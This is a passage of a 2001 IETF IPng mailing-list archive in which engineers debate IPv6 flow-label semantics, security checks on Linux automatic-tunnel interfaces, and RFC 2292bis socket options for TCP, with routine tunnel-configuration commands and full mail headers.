Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 14:15:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMF7ZR028140 for ; Thu, 20 Dec 2001 14:15:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKMF7UI028139 for ipng-dist; Thu, 20 Dec 2001 14:15:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMF4ZR028132 for ; Thu, 20 Dec 2001 14:15:04 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA17344 for ; Thu, 20 Dec 2001 14:15:06 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA14164 for ; Thu, 20 Dec 2001 15:15:52 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 14:15:01 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id CD6F30EAFB2E43B0A58B79F17CC2DBAE for plus 1 more; Thu, 20 Dec 2001 14:15:01 -0800 From: "Tony Hain" To: "Margaret Wasserman" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 14:09:58 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.2.2.20011220154229.01fa6cf0@mail.windriver.com> X-SLUIDL: 4AE6AB81-EC6D452E-8A6CA61E-9504A3A2 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > What is wrong with a hop-by-hop option? Isn't that the "right" > mechanism for an IPv6 host to send a "message" that is processed > by all routers in the path? Hop-by-hop options will be slower to process, and the point is that the origin knows which packets belong together in any specific flow, and there is no way the routers can deduce that. If the origin specifies which packets belong together, there is no valid reason for anything along the path to decide otherwise. > >You are assuming that every router along the path is part of the same > >administrative system and would react consistently to the marking. > > No I'm not assuming that all routers in the path will understand > the flow label. I am assuming, though, that the flow label will > only be _useful_ within an administrative system that has > a consistent (or at least compatible) understanding of its meaning. I didn't state my argument clearly. I agree that not all routers along the path may care to pay attention, but as you said your assumption is that the ones that do are all are part of a single administrative system. This is not reasonable to assume in the general case, so what I am arguing is that routers in any independent administrative system in the path have consistent information to base decisions on. How they acquire the interpretation is independent of the fact that the bits are consistent throughout. > I don't understand how these three systems can usefully interpret > the same bits in two different ways. If I am choosing a random > flow label value at the source (with an "interactive system" that > indicates its meaning out-of-band), why won't I just get random > behaviour from the intermediate domain in your example? You might, but if we allow the intermediate domain to independently modify the bits there is no hope that the remote domain can get it right. As I said earlier, it is possible for the intermediate system to provide a predictable behavior based on the additional knowledge of FL without explicit knowledge of the semantics, but that might be more along the lines of drop-probability than EF or the like. > Then, why not leave the specification of flow label semantics and > rules to this same WG? Because the participants in those WGs have consistently proven they don't understand the concept of an architecturally consistent immutable field which the origin can trust. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 14:22:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMMPZR028166 for ; Thu, 20 Dec 2001 14:22:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKMMPOL028165 for ipng-dist; Thu, 20 Dec 2001 14:22:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMMLZR028158 for ; Thu, 20 Dec 2001 14:22:22 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA19262 for ; Thu, 20 Dec 2001 14:22:24 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA18012 for ; Thu, 20 Dec 2001 15:23:10 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 14:22:17 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 4CD5551BD5CF40479C6BA71D0ED94335 for plus 2 more; Thu, 20 Dec 2001 14:22:17 -0800 From: "Tony Hain" To: "Muhammad Jaseemuddin" , "Margaret Wasserman" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 14:17:14 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <3C225A08.7030002@ee.ryerson.ca> X-SLUIDL: 8E2738EE-DC7542C9-96EC4423-B4684E95 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Muhammad Jaseemuddin wrote: > I completely agree with you that unless we have a > signalling/flow-establishment mechanism we cannot really define the > flow-label usage in a meaninful way. Perhaps we should wait until new > NSIS sginalling might come-up with some usage and mechanism for this > bit-space. But it is the responsibility of this group to restrict their domain of choices to things that make architectural sense. As I said in the last note to Margaret, the participants in the QoS WGs have consistently proven they don't understand the value of an end-to-end constant. If we don't point out that the DSCP is their mutable field to play with so leave the FL alone, we will end up with 2 random numbers and application developers will continue to ignore QoS because they have no means to express their intent that will be valid at all points in the path. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 14:38:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMcJZR028376 for ; Thu, 20 Dec 2001 14:38:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKMcJZk028375 for ipng-dist; Thu, 20 Dec 2001 14:38:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMcGZR028368; Thu, 20 Dec 2001 14:38:16 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA11222; Thu, 20 Dec 2001 14:38:19 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA26740; Thu, 20 Dec 2001 15:38:17 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBKMaKf15841; Fri, 21 Dec 2001 00:36:20 +0200 Date: Fri, 21 Dec 2001 00:36:19 +0200 (EET) From: Pekka Savola To: "Fred L. Templin" cc: Vladislav Yasevich , , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C225A75.9A2418B1@erg.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is getting too implementation-specific, so I guess we had better kill this thread, at least from here... > allows you to add as many auto-tunnel pseudo interfaces as you'd like. > For example, try: > > # ip add tun1 mode sit remote R1 local L1 > # ip add tun2 mode sit remote R2 local L2 > ... > # ip add tunn mode sit remote Rn local Ln Autotunnel/6to4 interfaces by definition don't have specific destinations; this is useful for configured tunnels, though. (This is how configured tunnels are created e.g. with probably most distributions). > and you should see n-many 'tun' pseudo-interfaces pop up when you > issue the command: 'ifconfig -a'. (Above, Ri and Li represent the > remote and local IPv4 addresses assigned to pseudo-interfaces 'tuni' > for 1 <= i <= n). The 'sit0' is simply there as a "base" upon which > multiple pseudo-interfaces may be layered. Multiple pseudo-interfaces should be possible, yes. But being built this way, the kernel performing security checks cannot know which interface is which. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 14:40:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMeNZR028413 for ; Thu, 20 Dec 2001 14:40:23 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKMeNv7028412 for ipng-dist; Thu, 20 Dec 2001 14:40:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMeKZR028405; Thu, 20 Dec 2001 14:40:20 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA23417; Thu, 20 Dec 2001 14:40:23 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA26886; Thu, 20 Dec 2001 15:41:10 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBKMdkn15851; Fri, 21 Dec 2001 00:39:46 +0200 Date: Fri, 21 Dec 2001 00:39:46 +0200 (EET) From: Pekka Savola To: "Fred L. Templin" cc: , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C223129.BBE3149E@erg.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Getting kinda off-topic for this scope.. On Thu, 20 Dec 2001, Fred L. Templin wrote: > In any case, however, the tunnel pseudo-interfaces are uniquely identified > by the IPv4 address assigned to each. As long as different IPv4 addresses > are assigned to the different tunnel pseudo-interfaces (a configuration > requirement for FreeBSD and Linux, at least), there will never be a case > of ambiguity such as the one you describe below. Note that if a single > physical link were used, this would mean assigning two or more IPv4 > addresses to the same link. But, all OS's I work with support this. How will the kernel police that local IPv4 address is different for each? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 14:43:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMhaZR028492 for ; Thu, 20 Dec 2001 14:43:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKMhaVe028491 for ipng-dist; Thu, 20 Dec 2001 14:43:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKMhXZR028481; Thu, 20 Dec 2001 14:43:33 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06134; Thu, 20 Dec 2001 14:43:35 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA28045; Thu, 20 Dec 2001 15:44:23 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBKMhVC15910; Fri, 21 Dec 2001 00:43:31 +0200 Date: Fri, 21 Dec 2001 00:43:31 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <200112201613.fBKGDsD64584@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 20 Dec 2001, Francis Dupont wrote: > Also note that autotunnel spec does not require that destination address > must be compatible address when decapsulating. There's not all that much > about source either. > > => autotunnel ist phased out. Security issues are one of the reasons > but in fact 6to4 is better (including from the security point of view). There is no "official" say about the former. Not anything as far as I can tell. Additionally, there are probably many people who rather write 'ping6 ::123.123.123.123' than calculate in the head 123=0x7b (or all four in a more complex scenario) and type 'ping6 2002:7b7b:7b7b::1'. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 15:12:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNC4ZR028746 for ; Thu, 20 Dec 2001 15:12:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKNC4Ax028745 for ipng-dist; Thu, 20 Dec 2001 15:12:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNC0ZR028738; Thu, 20 Dec 2001 15:12:00 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA12453; Thu, 20 Dec 2001 15:12:01 -0800 (PST) Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.4.100]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA06208; Thu, 20 Dec 2001 16:12:01 -0700 (MST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id PAA07243; Thu, 20 Dec 2001 15:10:31 -0800 (PST) Message-ID: <3C22702E.32DBBB3A@erg.sri.com> Date: Thu, 20 Dec 2001 15:11:42 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola CC: Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, templin@erg.sri.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk There has clearly been some confusion caused by sloppy instructions in my previous message; sorry about that. To close this out: 1) multiple tunnel pseudo=interfaces are supported under Linux 2) the correct syntax for configuring an ISATAP auto-tunnel is: # ip tunnel add isatap0 mode isatap local V4ADDR where 'V4ADDR' is an IPv4 address assigned to a physical link. Please see: Pekka Savola wrote: > > This is getting too implementation-specific, so I guess we had better kill > this thread, at least from here... > > > allows you to add as many auto-tunnel pseudo interfaces as you'd like. > > For example, try: > > > > # ip add tun1 mode sit remote R1 local L1 > > # ip add tun2 mode sit remote R2 local L2 > > ... > > # ip add tunn mode sit remote Rn local Ln > > Autotunnel/6to4 interfaces by definition don't have specific destinations; > this is useful for configured tunnels, though. (This is how configured > tunnels are created e.g. with probably most distributions). > > > and you should see n-many 'tun' pseudo-interfaces pop up when you > > issue the command: 'ifconfig -a'. (Above, Ri and Li represent the > > remote and local IPv4 addresses assigned to pseudo-interfaces 'tuni' > > for 1 <= i <= n). The 'sit0' is simply there as a "base" upon which > > multiple pseudo-interfaces may be layered. > > Multiple pseudo-interfaces should be possible, yes. But being built this > way, the kernel performing security checks cannot know which interface is > which. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 15:13:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNDnZR028856 for ; Thu, 20 Dec 2001 15:13:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKNDmgg028855 for ipng-dist; Thu, 20 Dec 2001 15:13:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNDjZR028845; Thu, 20 Dec 2001 15:13:45 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA19217; Thu, 20 Dec 2001 15:13:46 -0800 (PST) Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.4.100]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA12260; Thu, 20 Dec 2001 15:13:45 -0800 (PST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id PAA07260; Thu, 20 Dec 2001 15:12:04 -0800 (PST) Message-ID: <3C22708B.B1AF1B81@erg.sri.com> Date: Thu, 20 Dec 2001 15:13:15 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com CC: templin@erg.sri.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: <3C22702E.32DBBB3A@erg.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Fred L. Templin" wrote: > > There has clearly been some confusion caused by sloppy instructions > in my previous message; sorry about that. To close this out: > > 1) multiple tunnel pseudo=interfaces are supported under Linux > 2) the correct syntax for configuring an ISATAP auto-tunnel is: > > # ip tunnel add isatap0 mode isatap local V4ADDR > > where 'V4ADDR' is an IPv4 address assigned to a physical link. Please > see: Please see: http://v6web.litech.org/isatap/ for more details. Fred templin@erg.sri.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 15:18:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNIxZR028958 for ; Thu, 20 Dec 2001 15:18:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKNIxXO028957 for ipng-dist; Thu, 20 Dec 2001 15:18:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKNItZR028950; Thu, 20 Dec 2001 15:18:56 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA20318; Thu, 20 Dec 2001 15:18:56 -0800 (PST) Received: from sfo.erg.sri.com ([128.18.4.100]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA27021; Thu, 20 Dec 2001 16:18:52 -0700 (MST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id PAA07309; Thu, 20 Dec 2001 15:17:24 -0800 (PST) Message-ID: <3C2271CB.F49318B9@erg.sri.com> Date: Thu, 20 Dec 2001 15:18:35 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola CC: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, templin@erg.sri.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, Pekka Savola wrote: > > Getting kinda off-topic for this scope.. > > On Thu, 20 Dec 2001, Fred L. Templin wrote: > > In any case, however, the tunnel pseudo-interfaces are uniquely identified > > by the IPv4 address assigned to each. As long as different IPv4 addresses > > are assigned to the different tunnel pseudo-interfaces (a configuration > > requirement for FreeBSD and Linux, at least), there will never be a case > > of ambiguity such as the one you describe below. Note that if a single > > physical link were used, this would mean assigning two or more IPv4 > > addresses to the same link. But, all OS's I work with support this. > > How will the kernel police that local IPv4 address is different for each? Since this is getting off topic (as you say), I will refer you simply to the Linux 'sit.c' device driver found in: /usr/src/linux/net/ipv6/sit.c Preferrably, look at the version in the latest USAGI CVS tree at: http://www.linux-ipv6.org The answer to your question is that the kernel *does* enforce the local IPv4 address as different for each tunnel pseudo-interface as can easily be seen from reading the code. Fred templin@erg.sri.com > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 16:25:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL0PuZR029140 for ; Thu, 20 Dec 2001 16:25:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBL0PuD6029139 for ipng-dist; Thu, 20 Dec 2001 16:25:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL0PpZR029132 for ; Thu, 20 Dec 2001 16:25:51 -0800 (PST) Received: from lillen (d-mpk17-86-237.Eng.Sun.COM [129.146.86.237]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBL0Plq19603; Fri, 21 Dec 2001 01:25:48 +0100 (MET) Date: Fri, 21 Dec 2001 01:23:45 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: TCP implication of 2292bis To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= Cc: Vladislav Yasevich , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I searched in the web for old discussions and I think I found the > answer to the question 1. (You can check the discussion at the > following URL > http://www.wcug.wwu.edu/lists/ipng/199803/threads.html > with the subject "Advanced Sockets API Issue") Thanks for digging up the history - I couldn't recall all the details. > And, the reason for the change in rfc2292bis-03 is as follows (I know > the reasons are controversial and someone have an objection): > 3. there are currently RFC2292-style applications deployed. It is easy > for such applications to migrate to rfc2292bis-03 than to > rfc2292bis-02. (The opposite argument may apply for > rfc2292bis-02-style applications, of course.) Are there TCP applications which use RFC 2292 style for accessing received extension headers? I thought we had concluded that no TCP applications existed that access the received stuff (even tough telnet can set things like routing headers for transmit). > As for the symmetric behavior in the original motivation, we've > already solved it by separating IPV6_XXX and IPV6_RECVXXX. So, there > is no reason to use recvmsg() + ancillary data on TCP sockets for this > reason. Yes, but the semantics of IPV6_RECV* on UDP and raw is to enable receipt which is quite different that actually receiving the content. Thus they are boolean (int32_t) socket options. *If* there is a need to have socket options to extract the received extension headers from the kernel I think it would make sense to use different socket options and not overloading the existing ones. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 16:35:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL0ZcZR029163 for ; Thu, 20 Dec 2001 16:35:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBL0ZcKO029162 for ipng-dist; Thu, 20 Dec 2001 16:35:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL0ZZZR029155 for ; Thu, 20 Dec 2001 16:35:35 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA02665 for ; Thu, 20 Dec 2001 16:35:36 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA09279 for ; Thu, 20 Dec 2001 16:35:36 -0800 (PST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id TAA10520; Thu, 20 